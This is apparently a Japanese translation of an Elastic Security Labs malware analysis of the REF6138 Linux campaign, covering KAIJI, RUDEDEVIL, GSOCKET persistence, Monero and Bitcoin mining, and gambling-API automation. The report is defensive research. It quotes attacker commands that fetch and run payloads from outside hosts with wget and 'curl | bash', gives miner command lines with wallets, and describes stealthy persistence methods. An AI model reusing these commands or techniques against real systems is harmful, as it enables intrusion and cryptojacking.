Remco SprootenRuben Groenewoud

ボットへのベッティング:Linuxマルウェア、暗号マイニング、ギャンブルAPIの悪用の調査

REF6138キャンペーンでは、クリプトマイニング、DDoS攻撃、ギャンブル向けのAPIを介したマネーロンダリングが発生した可能性があり、攻撃者が進化を続けるマルウェアとステルス通信チャネルを使用していることが浮き彫りになりました。

ボットに託す望み:Linuxマルウェア、クリプトマイニング、ギャンブル向けAPIの不正使用を調査中

はじめに

ここ数か月で、Elastic Security Labsは、脆弱なサーバーを標的とした高度なLinuxマルウェアキャンペーンを発見しました。 攻撃者は、 2024 年3月にApache2 Webサーバーを悪用して侵害を開始しました。 初期アクセスを得た攻撃者は、複雑な侵入セットを展開して、永続性を確立し、侵害されたホストに対する制御を拡大しました。

脅威アクターは、カーネルプロセスを装ったC2チャネル、通信用のテレグラムボット、スケジュールされたタスク実行用のcronジョブなど、さまざまなツールとマルウェアを組み合わせて利用していました。 特に、KAIJIやRUDEDEVILなどの複数のマルウェアファミリを、カスタムメイドのマルウェアとともに展開しました。 DDoS攻撃能力で知られるKAIJIと、暗号通貨マイナーのRUDEDEVILは、悪意のある目的でシステムリソースを悪用するために使用されました。

私たちの調査では、ギャンブルAPIを活用したビットコイン/XMRマイニングスキームの可能性が明らかになり、攻撃者が侵害されたホストを使用してマネーロンダリング活動を行っている可能性があることが示唆されました。 また、これまでにないハッシュを含む新しいKAIJIサンプルのアップロードを毎日ホストするファイル共有にもアクセスできました。これは、マルウェア作成者による積極的な開発と適応を示しています。

この調査出版物では、キャンペーンの詳細を掘り下げ、攻撃者の戦術、手法、手順を包括的に分析しています。 初期アクセスをどのように確立したか、永続化と権限昇格に使用された方法、および各段階で展開されたマルウェアについて説明します。 さらに、ステルス通信のためのGSOCKETとTelegramの使用を含む、コマンドアンドコントロールインフラストラクチャについても説明します。

実行フロー

初期アクセス(Initial Access)

私たちのチームは、 2024 年3月にApache2を実行しているサーバー上で任意のコードが実行されることで最初に侵害されたホストを観察しました。 この侵害の証拠は、Apache2プロセスを介した id コマンドの実行に見られ、その後、脅威アクターがWebサーバーを悪用し、 www-data ユーザーアカウントでKAIJIマルウェアを展開していることがわかります。

Kaijiの展開直後、攻撃者はwww-dataアカウントを使用して、URLhttp://61.160.194[.]160:35130から00.shという名前のスクリプトをダウンロードし、さらに調査した結果、RUDEDEVILマルウェアのいくつかのバージョンもホストしていました。

00.sh は、次のようなステージャーです。

  • デフォルトのシェルと PATH を設定します。
  • 複数のログファイルを削除して、実行の痕跡を消去します。
  • psnetstatlsof、および一般的なマイニングプロセス名のリストを活用して、侵害されたホスト上の潜在的なマイニング競合を殺します。
  • ホスト上の iptables ルールをフラッシュし、特定の宛先ポートとマイニングプールへの接続をブロックするいくつかの iptables ルールを設定し、 iptablesを無効にします。
  • 最後に、第 2 ステージ (sss6/sss68) をダウンロードして実行し、実行トレースを消去します。

次の図は、ステージャーの圧縮バージョンを示しています。 [...] の注釈が付けられた行は、読みやすくするために短縮されています。

ファイルサーバ

攻撃者は、バックドア化されたWebサーバープロセスを介して、次のコマンドを使用してマルウェアをダウンロードし、実行しました。

sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86

l64ファイルとl86ファイルはからダウンロードされます http://107.178.101[.]245:5488その後、すべての権限を付与され、実行され、削除されます。これらのマルウェアサンプルをホストしているサーバーを見ると、次のことがわかります。

これは、さまざまなアーキテクチャのいくつかのタイプのマルウェアをホストしているファイルサーバーのようです。 ファイルサーバーはRejettoテクノロジーを活用しています。 これらのマルウェアには、アップロード日とダウンロード カウンターがあります。 たとえば、9 月 10 日にアップロードされた download.sh ファイルは、すでに 3,100 回ダウンロードされています。

ルーデビル/ルシファー

詳しく調べたところ、ダウンロードされて実行されたファイル sss6は、RUDEDEVILマルウェアとして特定されました。 実行プロセスの早い段階で、このマルウェアファミリーに特徴的な埋め込みメッセージに遭遇します。

Hi, man. I\'ve seen several organizations report my Trojan recently, 
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. 
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. 
I don\'t have any accommodation. I don\'t want to do anything illegal. 
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, 
thank yo

ファイルサーバーでホストされている l64 ファイルと l86 ファイルには、同じマルウェアが含まれていることに注意してください。 マルウェアの実行フローを分析すると、マルウェアの主な機能がいくつかの重要なタスクを実行していることがわかります。

  • デーモンの初期化: このプロセスは、 daemon(1, 0)を使用してデーモンに変換されます。
  • ソケットの作成: ソケットが作成され、特定のポートにバインドされます。
  • 信号処理: カスタムシグナルハンドラは、さまざまなシグナルに対して設定されます。
  • サービスの初期化: いくつかのサービスは SetFILEを使用して開始されます。
  • 特権処理: ルート権限をチェックし、それに応じてリソース制限を調整します。
  • 復号化: マルウェアは、その構成 BLOB を復号化します。
  • スレッドの作成: マイニング、プロセスの強制終了、ネットワークとCPUの使用率の監視などのタスクのために、複数のスレッドが生成されます。
  • メインループ: プログラムは無限ループに入り、サーバーに繰り返し接続して、指定された時間スリープします。

暗号化ルーチンを調べると、XORベースのエンコーディングが利用されていることがわかります。

コンテンツを静的にデコードするために、基本的なPythonスニペットを開発しました。

def DecryptData(data_block, encryption_key):
   key_modifier = encryption_key & 0xFF
   key_index = key_modifier // 0x5F  # 0x5F = 95 in decimal
   modifier = (key_modifier - (key_index * 0x5F)) + 0x58  # 0x58 = 88 in decimal

   for i in range(len(data_block)):
       data_block[i] ^= modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value
       data_block[i] += modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value

   return data_block

# Encoded data as hex strings
encoded_data = [
   '4c494356515049490c467978',
   '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
   '0f424d4e0f435536575649484b',
   '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]

encryption_key = 0x03FF  # 1023 in decimal

# Process and decrypt each encoded data string
for data in encoded_data:
   # Convert hex string to list of integers
   data_bytes = bytes.fromhex(data)
   data_block = list(data_bytes)

   # Decrypt the data
   decrypted_block = DecryptData(data_block, encryption_key)

   # Convert decrypted data back to bytes
   decrypted_bytes = bytes(decrypted_block)
   print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))

設定をデコードすると、次の値が表示されます。

  • 最初の値 C2 ドメイン nishabii[.]xyzです。
  • 2 番目の値は、XMRIG に渡されるオプションを示します。
  • 3 番目の値は、マルウェアが使用する一時ファイルの場所を示しています。
  • 最後の 4 番目の文字列は、XMRIG バイナリのダウンロード場所を示しています。

マルウェアのスレッド管理

このマルウェアは、そのコア操作を処理するためにいくつかのスレッドを開始します。 これらの機能の一部がどのように機能するかを詳しく見ていきましょう。

KillPid 関数について

スレッドの 1 つは、プロセスを継続的に監視および管理するように設計された KillPid 関数を実行します。 この関数は、現在のスレッドをデタッチすることから開始し、他のプロセスをブロックせずにバックグラウンドで実行できるようにします。 その後、無限ループに入り、タスクを繰り返し実行します。

その機能の中心にあるのは、マルウェアが終了させたいプロセスの名前が含まれている sb_nameと呼ばれる配列です。

この関数は 2 秒ごとに、この配列にリストされているプロセスをシステムにチェックし、 getPidByNameというヘルパー関数を使用してプロセス ID (PID) を取得します。 各反復の後、リスト内の次のプロセスに移動し、 sb_name 内のすべてのプロセスが確実に処理されます。

興味深いことに、配列内のすべての要素を処理した後、関数はプロセスチェックを再開する前に、 600 秒間(約 10 分間)の延長スリープに入ります。 このスリープ期間の延長は、システムリソースを節約し、マルウェアがプロセスの監視中にCPU時間を過度に消費しないようにするために実装されている可能性があります。

Get_Net_Messages機能を理解する

もう1つの重要なスレッドは、ネットワークトラフィックの監視、特に eth0 ネットワークインターフェイスに焦点を当てています。 この機能は、 getOutRates 関数によって処理されます。 この関数は、必要な変数を設定し、各インターフェイスの詳細なネットワーク統計を含む /proc/net/dev ファイルを開くことから始まります。

ファイルが正常に開かれると、マルウェアは最大 1024 バイトのデータブロックを読み取り、それを処理して関連するネットワーク統計を抽出します。 特に eth0 インターフェイスを検索し、標準の文字列解析方法を使用して出力レート データを解析します。 成功した場合、関数は eth0の出力レートを返します。それ以外の場合は、 0を返し、エラーが発生してもマルウェアが引き続き機能するようにします。

このルーチンにより、マルウェアは感染したマシンのネットワークアクティビティを静かに監視でき、インターフェイスを介して送受信されるデータを追跡する可能性があります。

Get_Cpu_Message機能を理解する

CPUの監視には、マルウェアは GetCpuRates 機能を使用します。 この機能は、 /proc/statからデータを読み取ることにより、CPU 使用率を継続的に監視します。 ネットワークデータの処理方法と同様に、CPU統計が読み取られて解析されるため、マルウェアはシステムのCPU使用率を計算できます。

この関数は無限ループで動作し、システムの過負荷を避けるために、各反復の間に 1 秒間スリープします。 何らかの理由でファイルを開くことができない場合、関数はエラーをログに記録し、正常に終了します。 ただし、ファイルを読み取ることができる限り、CPU使用率を継続的に監視し、マルウェアがシステムパフォーマンスを認識し続けるようにします。

Send_Host_Message関数を理解する

おそらく、最も重要なスレッドは、システム情報をマルウェアのオペレーターに送り返すスレッドです。 _SendInfo機能は、感染したシステムのCPUとネットワークの使用状況に関するデータを収集することで、このタスクを実行します。まず、バッファーを設定し、必要なデータを収集するためのファイルパスを準備します。 システムのステータスに応じて、CPU とネットワークの使用量を文字列にフォーマットします。

さらに、この関数は、特定のプロセスがシステムで実行されているかどうかを確認し、それに応じて書式設定されたメッセージを調整します。 最後に、このフォーマットされたデータをソケット接続を介してコマンドアンドコントロールサーバーに送り返します。

基本的に、この機能により、マルウェアは感染したマシンをリモートで監視し、CPU負荷やネットワークアクティビティなどの重要な詳細を収集できます。 オペレーターは、この情報を使用して感染状況を評価し、必要に応じて活動を調整できます。

コマンド&コントロール(C2)サーバーへの接続

すべてのスレッドが稼働すると、マルウェアはC2サーバーとの接続を確立することに焦点を移します。 これは、メインスレッドの ConnectServer 関数によって管理され、サーバーとの通信を処理し、コマンドをリモートで実行します。

ConnectServer 関数について

ConnectServer 関数が最初に実行するタスクは、ServerConnectCliを使用して C2 サーバーへの接続を確立することです。接続に成功すると、マルウェアはキープアライブ設定を有効にするようにソケットを構成し、接続が長期間にわたって安定するようにします。

接続が設定されると、マルウェアはホスト名、ユーザー情報、CPU仕様、メモリの詳細など、さまざまなシステム情報を収集します。 この情報は、初期データペイロードとしてサーバーに送信され、攻撃者は感染したマシンの詳細なビューを得ることができます。

この初期設定の後、マルウェアは進行中のループに入り、サーバーからのコマンドを待って処理します。 処理されるコマンドの種類はさまざまで、DDoS攻撃の開始、CPUを集中的に使用する操作の停止または開始、システムコマンドの実行、暗号通貨マイニングアクティビティの管理などのタスクが含まれます。 ループは無期限に続き、マルウェアはオペレーターが送信したコマンドを実行する準備ができています。

接続が不要になったとき、またはマルウェアが終了コマンドを受け取ったとき、マルウェアはソケットを正常に閉じ、サーバーとのセッションを終了します。

コマンド&コントロール(C2)コマンド

ConnectServer機能は、C2サーバーからのさまざまなコマンドを処理し、それぞれが感染したシステムの異なる側面を制御するように設計されています。マルウェアによって処理されたコマンドの内訳は次のとおりです。

  • ケース4: このマルウェアは DealwithDDoS 関数を呼び出し、分散型サービス拒否(DDoS)攻撃を開始する可能性があります。
  • ケース5:StopFlag1に設定すると、マルウェアに特定のタスクを停止するように通知される可能性があります。
  • ケース6:http_getを使用してサーバーからファイルをダウンロードし、その権限を変更してから実行します。このコマンドにより、攻撃者は感染したマシン上で追加のマルウェアやスクリプトを実行することができます。
  • ケース7:system 関数を使用してシステム コマンドを実行し、攻撃者がシステムのコマンド ラインを直接制御できるようにします。
  • ケース8:StopCpu0に設定し、以前に停止した CPU タスクを再起動します。
  • ケース9:StopCpu1に設定し、すべての CPU タスクを停止します。
  • ケース0xA: CPUマイニング構成を新しいデータで更新し、現在のプロセスのPIDを取得して、マルウェアが暗号通貨マイニング操作を変更できるようにします。
  • ケース0xB:stopxmr1に設定し、XMRIGマイナーを効果的に停止します。
  • ケース0xC:stopxmr0 にリセットし、現在のプロセス PID を取得して、マイニング アクティビティを再開します。

各コマンドにより、マルウェアのオペレーターは、感染したマシンの動作(DDoS攻撃に参加しているのか、新しいマルウェアを実行しているのか、マイニング操作を管理しているのか)を正確に制御できます。

RUDEDEVILマルウェアとXMRIG構成の亜種

前述のファイルサーバーがアクティブである一方で、RUDEDEVILマルウェアの複数のバージョンがアップロードされていることを確認しました。 これらのバージョンのコア機能はほぼ同じままで、唯一の重要なバリエーションは、暗号通貨マイニングに使用される埋め込みXMRIGコマンドです。

マルウェアの各バージョンは、同じマイニングプール( c3pool.org)に接続するように構成されていましたが、XMRIGマイナーに渡されるパラメーターにわずかな違いがあります。

  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R
  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2
  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php
  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0

これらの各コマンドは、マイナーに同じマイニングプールに接続するように指示しますが、異なるウォレットまたは構成を指定します。 c3poolアプリケーションを調べると、これらのコマンドに関連付けられている両方のXMRアドレスが現在アクティブでマイニングされていることを確認しました。

さらに、この分析を通じて、これら2つのマイニングキャンペーンによって生み出された総利益を推定することができ、RUDEDEVILマルウェアの財務的影響と違法な暗号通貨マイニング操作との関連性を強調しています。

GSOCKET

永続性を確立するために、脅威アクターは、ファイアウォールまたはNATの背後にあるマシン間で暗号化された通信を可能にするように設計されたネットワークユーティリティである GSOCKETをダウンロードしてインストールしました。 GSOCKET は、グローバル ソケット リレー ネットワーク (GSRN) を介して安全で永続的な接続を作成します。 このオープンソースツールには、AES-256暗号化、エンドツーエンドの通信セキュリティのサポート、SSH、netcat、TORとの互換性などの機能が含まれており、暗号化されたファイル転送、リモートコマンドの実行、さらには非表示のサービスの作成が可能です。

GSOCKET は本質的に悪意のあるものではありませんが、その機能は疑わしい目的で利用される可能性があります。

デプロイされると、GSOCKET は永続性を維持し、その存在を隠すためにいくつかのアクションを実行します。 まず、アクティブなカーネルプロセスをシステムにチェックして、どのプロセスをマスカレードするかを決定します。

次に、バイナリをダウンロードして共有メモリに格納するための /dev/shm/.gs-1000 ディレクトリを作成します。 さらに、デフォルトでは、/home/user/.config/htop/の下に/htopディレクトリを設定して、GSOCKETバイナリとその操作に使用される秘密鍵の両方を格納します。

次に、秘密鍵を使用してGSOCKETバイナリを毎分実行するcronジョブが設定されます。

バイナリは、 exec -a [process_name] コマンドを使用してカーネルプロセスの名前で実行されるため、検出を回避する能力がさらに向上します。 cron ジョブには base64 でエンコードされたコマンドが含まれており、デコードすると、永続化メカニズムが定期的に実行され、正当なカーネルプロセスに偽装されます。

ペイロードをデコードすると、defunct.dat秘密鍵が引数として使用され、defunctバイナリが実行されることがわかります。これは、exec -a コマンドを使用して[raid5wq]としてマスカレードされます。

cron ジョブの使用に加えて、GSOCKET には、シェル プロファイルの変更、実行制御 (rc.local)、および Systemd を通じて永続性を確立する機能があります。 GSOCKET は、潜在的な永続化の場所を列挙します。

GSOCKETは、TelegramやDiscordの統合など、複数のWebhookをサポートしており、リモートコントロールと通知を可能にします。

最後に、インストール後、GSOCKETは、作成または変更されたすべてのファイルが、インストールのトレースを消去しようとするためにtimestompedされることを確認します。

これらの機能により、GSOCKETはステルス性と永続性を求める脅威アクターにとって魅力的なツールとなっています。 このキャンペーンでは、GSOCKETが悪用され、検出を回避しようとしながら、C2サーバーに戻る秘密チャネルを確立しました。

さらに、PHPペイロードは外部IPから取得され、 404.phpとして保存されており、将来のアクセスのためのバックドアとして機能している可能性があります。 このペイロードは入手できませんでした。

侵害後の滞留時間

目立った活動がなかった3週間の静寂の後、脅威アクターは組み込みのPython3を利用して新しいコマンド&コントロールサーバーへの逆接続を確立し、運用を再開しました。

ホストへのアクセスを回復した後、新しいバージョンの KAIJI マルウェアがデプロイされました。

KAIJI マルウェア: 以前のサンプルとの比較

検出されたファイルサーバー上のファイルを調査しているときに、シェルスクリプトが見つかりました。 このシェルスクリプトは、前の段階でダウンロードに使用されるメインファイルのようで、被害者の正しいアーキテクチャが使用されていることを確認します。

同じシェル スクリプトが、このスクリプトが KAIJI のデプロイに使用される他のレポートにも見られます。

調査の一環として、ファイルサーバーで見つかったKAIJIマルウェアのサンプルを分析し、2022年にBlack Lotus Labsによって特定されたサンプルと比較しました。 彼らの Chaos (KAIJI)の詳細な分析は、 こちらのブログ記事でご覧いただけます。

バイナリ比較ツールである BinDiffを使用して、バイナリ内の関数を比較しました。 分析の結果、サンプルのコードは、以前に特定された2022年のKAIJIサンプルと同一であることが明らかになりました。

コードは同じですが、C2サーバーのアドレスという重要な違いが1つ際立っていました。 どちらのバイナリでも機能は一貫していましたが、異なるC2ドメインを指していました。

逆アセンブルを深く掘り下げると、 main_Linkという名前の関数が特定されました。 この機能は、マルウェアが使用したC2サーバーアドレスをデコードする役割を果たします。

デコードされると、関数はアドレス内の |(odk)/*- 接尾辞を検索して削除し、C2ドメインとポートのみを残します。 このプロセスにより、マルウェアはC2サーバーと通信できるようになりますが、サンプル間で連絡先のアドレスが変わる可能性があります。

KAIJIを静的にリバースエンジニアリングするリソースがいくつか公開されているため、代わりにその動作についてより詳細に見ていきます。

実行後、KAIJI は /etc/ ディレクトリと /dev/ ディレクトリにいくつかのファイル ( /etc/id.services.conf/etc/32678/dev/.img /dev/.old) を作成します。 これらのスクリプトは、永続性を確立する場所です。

/etc/init.d/linux_killcrond.serviceの 2 つのサービスが設定されます。crond.service は Systemd によって実行され、 linux_kill は SysVinit の永続化に使用されます。

Systemdデーモンをリロードした後、C2への最初のネットワーク接続が試行されます。

次に、 Systemd Late generator サービス ファイルが作成されます。 Systemdの仕組みと、この方法を通じて永続性を確立するさまざまな方法の詳細については、最近のブログシリーズ「Linux Detection Engineering - A primer on persistence mechanisms」を参照してください。

KAIJI は、以前にデプロイされた Systemd サービスを通じて実行される実行可能ファイルである /boot/System.img.config ファイルを作成します。このバイナリは、他のバイナリの中でも、永続性を確立する別の方法です。

次に、KAIJI は SELinux ポリシーを調整して、不正なアクションを許可します。 監査ログで System.img.confに関連する拒否された操作を検索し、これらのアクションを許可する新しい SELinux ポリシーを生成し、優先度の高いポリシーをインストールします。 これにより、マルウェアは、通常はその活動をブロックするセキュリティ制限を回避します。

さらに、bashプロファイルを通じて複数の追加の永続化形式を設定し、さらに2つの悪意のあるアーティファクトを作成します。 /usr/lib/libd1rpcld.so/.img

その直後に、echo コマンドによって /etc/crontab が変更され、 /.img ファイルが設定されたスケジュールで root によって実行されるようになります。

KAIJI は、いくつかのデフォルトのシステムバイナリを異常な場所に移動し続け、途中で検出を回避しようと試みています。

KAIJI は renice コマンドを使用して、KAIJI が植え付けた実行可能ファイルの 1 つである PID 2957に最高の優先度 (-20 から 19 のスケールで、最低が最高の優先度) を付与し、他のプロセスよりも多くの CPU リソースを取得するようにします。

検出を回避するために、KAIJIは、システム内でディレクトリがマウントおよび表示される方法を操作することにより、悪意のあるアクティビティを隠蔽する防御回避方法であるバインドマウント技術を採用しました。

最後に、 cron/.imgを実行したトレースが表示されます。これは、以前に /etc/crontab ファイルに植え付けられました。

物語は続く

その2週間後、Apacheのバックドアが再び活発になりました。 別のバックドアは、次のコマンドを使用して、Apache2プロセスを介して www-data ユーザーを介してダウンロードされました。

sh -c wget http://91.92.241[.]103:8002/gk.php

このペイロードの内容は不明のままです。 この段階では、手動の権限昇格の試みが観察され、攻撃者は pspy64. Pspy は、root権限を必要とせずにLinuxシステムでプロセスをスヌーピングするためのコマンドラインツールです。 他のユーザーによって開始されたプロセスを含む実行中のプロセスを監視し、cron ジョブの実行などのイベントをキャプチャします。 このツールは、システムアクティビティの分析、特権昇格の試みの特定、プロセスによってトリガーされたコマンドとファイルシステムの相互作用のリアルタイムでの監査に特に役立ちます。 これは一般的に、攻撃者が侵害後のシナリオで偵察するために利用し、システムタスクと潜在的な脆弱性を可視化します。

注目すべきは、 pspy64[rcu_preempt] 親によって実行され、脅威アクターがWebサーバーのバックドアの利用からGSOCKETバックドアの使用に移行したことを示しています。

特権昇格のさらなる試みには、pwnkitとも呼ばれるCVE-2021-4034の悪用が含まれていました。この脆弱性は、LinuxシステムのPolicyKitパッケージの pkexec コンポーネントに影響を及ぼし、権限のないユーザーがroot権限で任意のコードを実行する可能性があります。 この欠陥を利用することで、攻撃者はシステムへの昇格されたアクセス権を取得し、影響を受けるマシンを完全に制御できる可能性があります。

カスタムビルドバイナリ

その直後、攻撃者は apache2 という名前のカスタムビルドのマルウェアをダウンロードしようとし、以下から apache2v86 しました。

  • http://62.72.22[.]91/apache2
  • http://62.72.22[.]91/apache2v86

これらのファイルのコピーを取得しましたが、現在、VirusTotalでは検出されていません。 ただし、動的に実行すると、セグメンテーション障害が観察され、テレメトリでは侵害されたホストでのセグメンテーション違反アクティビティが確認されました。 1週間以上にわたり、脅威アクターはこれらのバイナリの変更、アップロード、実行を 15 回以上試みましたが、度重なるセグメンテーション違反のため、このカスタムマルウェアの実行に成功した可能性は低いです。

バイナリは実行に失敗しましたが、リバースエンジニアリング中に貴重な洞察を提供しました。 サンプル内でいくつかのXORエンコードされた文字列を発見しました。

文字列のエンコードに使用された XOR キーは、 0x79 (または文字 y) として識別されました。 文字列をデコードした後、マルウェアが構築しようとしていたHTTPリクエストヘッダーの断片を発見しました。

/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.

これは、マルウェアがHTTPリクエストを作成中であったことを示しています。 しかし、ヘッダーの不完全な性質と実行の繰り返しの失敗に基づいて、このソフトウェアがまだ完全に開発されておらず、動作していなかったことは明らかです。

追加の偵察

攻撃者は、The Hacker's Choiceのツールを引き続き使用し、 whatserver.shをダウンロードして実行しました。

このシェル スクリプトは、サーバー情報を収集して表示するように設計されています。 SSL 証明書、Nginx、Apache 構成ファイルから完全修飾ドメイン名 (FQDN) などの詳細を抽出し、CPU とメモリの使用量、仮想化の詳細、ネットワーク設定などのシステムリソース情報を抽出します。 このスクリプトは、最後にログインしたユーザーや現在リッスンしているサービスなど、最近のアクティビティを要約することもできます。

鉱業活動

約2週間にわたる手動によるエクスプロイトの試みの後、脅威アクターは権限を昇格させる努力をやめ、おそらくrootアクセスを取得できなかったと思われます。 代わりに、 www-data ユーザーとして永続性を確立し、GSOCKETを利用してSSL接続を設定しました。これは、 [mm_percpu_wq]と呼ばれるカーネルプロセスに偽装されていました。

base64の内容をデコードすると、非常に見慣れた外観の出力が得られます。

私たちの行動ルールを通じて、脅威アクターは現在のユーザーのcrontabエントリをリストアップし、ペイロードを直接crontabにエコーしていることがわかります。

このコマンドは、毎分 http://gcp.pagaelrescate[.]com:8080/ifindyou ダウンロードし、bash にパイプしようとします。 の内容を見ると ifindyou、次のBashスクリプトが表示されます。

このスクリプトは、ホスト名とIP情報を収集し、http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC(XMRIG)からSystemdXCアーカイブをダウンロードし、これを/tmp/SystemdXCに保存し、アーカイブを抽出して、マイニングビットコインを開始するために必要なパラメーターで実行します。

マイニングコマンドを調べると、マルウェアがXMRIGをどのように構成しているかを確認できます。

このコマンドは、感染したマシンのホスト名をマイニングプロセスの識別子として使用して、 unmineable.com マイニングプールに接続します。 執筆時点では、ウォレットアドレス1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBzのビットコインマイニングを行うアクティブなワーカーが 15 います。

ビットコインアドレスをさらに調査したところ、このアドレスが単一のトランザクションを実行したことがわかりました。

興味深いことに、この取引の出力アドレスは、Binanceに関連する有名な ホットウォレット を指しており、攻撃者がマイニング収益を取引所プラットフォームに送金した可能性があることを示しています。

スクリプトにフォーカスを戻すと、2 つのコマンドがコメントアウトされていますが、これは後でより明確になります。 スクリプトは、次のものを実行します。

curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash

このペイロードを見ると、次の内容を確認できます。

このステージでは、コマンドの出力を確認し、これをTelegramチャットボットに送信します。 Telegramの行動ルールにより、Telegram POSTリクエストは次のようになっていることがわかります。

このステージでセットアップされる cron ジョブは、4 時間ごとに 0 分に実行されます。 このジョブは、次のものを実行します。

curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3

ダウンロードしたPythonスクリプトは、HTTPリクエストを介してオンラインギャンブルゲームとの対話を自動化します。 このスクリプトには、ユーザー認証、ベッティング、結果の処理、およびリモートサーバーへのデータ送信を処理する関数が含まれています。

詳しく調べた結果、スクリプトの次の主要なコンポーネントが特定されました。

グローバル変数:

  • usuario: セッションを管理するためのユーザー ID を格納します。
  • apuesta: ベット額を表します。
  • ganancias:賞金と損失を追跡します。
  • saldo_actual: 現在の口座残高を保持します。

obteneruid機能を理解する

この関数は、必要なヘッダーとJSONデータを含むPOSTリクエストをリモートサーバーに送信することで、ユーザーを認証します。 ユーザーがまだ設定されていない場合は、新しいセッションを初期化し、アカウント残高を取得します。 認証が成功すると、セッションUUIDが返され、ゲーム内でのさらなるインタラクションに使用されます。

enviardatos機能を理解する

この機能は、ゲームデータまたはステータスの更新を gcp.pagaelrescate[.]comに送り返し、ゲームプレイ中に行った結果またはアクションを記録します。 単純な GET 要求を使用して、このデータをリモート サーバーに送信します。

hacerjugada機能を理解する

hacerjugada機能は、設定されたラウンド数のベッティングプロセスをシミュレートします。ベットを行うためのPOSTリクエストを送信し、各ラウンド後に賞金または損失を更新し、全体的な結果を計算します。 ボーナスラウンドがトリガーされると、ボーナスゲームの詳細を処理するために completarbono() を呼び出します。 各ベッティングラウンドの間に、この機能は自然なゲームプレイを模倣し、検出を回避するために30秒の遅延を強制します。

completarbono機能を理解する

ボーナスラウンドがトリガーされると、この機能はセッションIDとラウンドIDを含むリクエストを送信してラウンドを完了します。 結果に基づいて、アカウントの残高を更新し、勝ち負けを記録します。 残高の変更は、 enviardatos() 機能を使用してリモート・サーバーに送り返されます。

テスト目的で使用される可能性が高い

このスクリプトは、ギャンブルアプリのデモ版と相互作用するため、テスト目的で使用される可能性が高いことに注意することが重要です。 これは、攻撃者がギャンブルアクションの自動化をテストしたり、ライブバージョンに移行する前にアプリの脆弱性を見つけようとしている可能性があることを示唆しています。 デモ環境の使用は、彼らがアプローチを洗練していることを意味し、より高度な攻撃や広範な攻撃に備えている可能性があります。

MITRE ATT&CKによるREF6138

Elasticは、 MITRE ATT&CK フレームワークを使用して、企業ネットワークに対してAdvanced Persistent Threatが使用する一般的な戦術、手法、手順を文書化しています。 この調査では、以下の戦術、手法、およびサブ手法を特定しました。

MITRE ATT&CKの戦術、技術、および使用されるサブ技術

戦術テクニックサブテクニック
リソース開発(Resource Development)T1587: 能力の開発マルウェア
T1588: 能力の取得道具
T1608: ステージ機能マルウェアのアップロード
アップロードツール
初期アクセス(Initial Access)T1190: 公開アプリケーションの悪用
実行T1059: コマンドおよびスクリプト インタープリタUnixシェル
Python
T1053: スケジュールされたタスク/ジョブCron
永続化T1546: イベント トリガー実行Unix シェル設定の変更
T1053: スケジュールされたタスク/ジョブCron
T1505: サーバソフトウェアコンポーネントWebシェル
権限昇格T1068: 特権昇格のためのエクスプロイト
防御回避T1140: ファイルまたは情報の難読化解除/デコード
T1222: ファイルとディレクトリのアクセス許可の変更LinuxおよびMacのファイルとディレクトリのアクセス許可の変更
T1564: アーティファクトを隠す隠しファイルと隠しディレクトリ
T1070:インジケーターの取り外しタイムストンプ
T1036: マスカレードマスカレードのタスクまたはサービス
T1027 : 難読化されたファイルまたは情報ソフトウェアパッキング
剥奪されたペイロード
コマンドの難読化
暗号化/エンコードされたファイル
ディスカバリT1057: プロセスディスカバリー
T1082: システム情報検出
T1061: システム ネットワーク構成の検出
T1049: システム ネットワーク接続の検出
T1007: システム・サービス・ディスカバリー
収集T1119: 自動コレクション
T1005: ローカル システムからのデータ
コマンド&コントロール(Command and Control)T1071: アプリケーション層プロトコルWeb Protocols
T1132: データ エンコード標準エンコーディング
T1001: データの難読化
T1573: 暗号化チャネル対称暗号
T1105: イングレスツールトランスファー
T1571:非標準ポート
T1572: プロトコル トンネリング
T1102: Web サービス
インパクトT1496: リソースハイジャック

検出REF6138

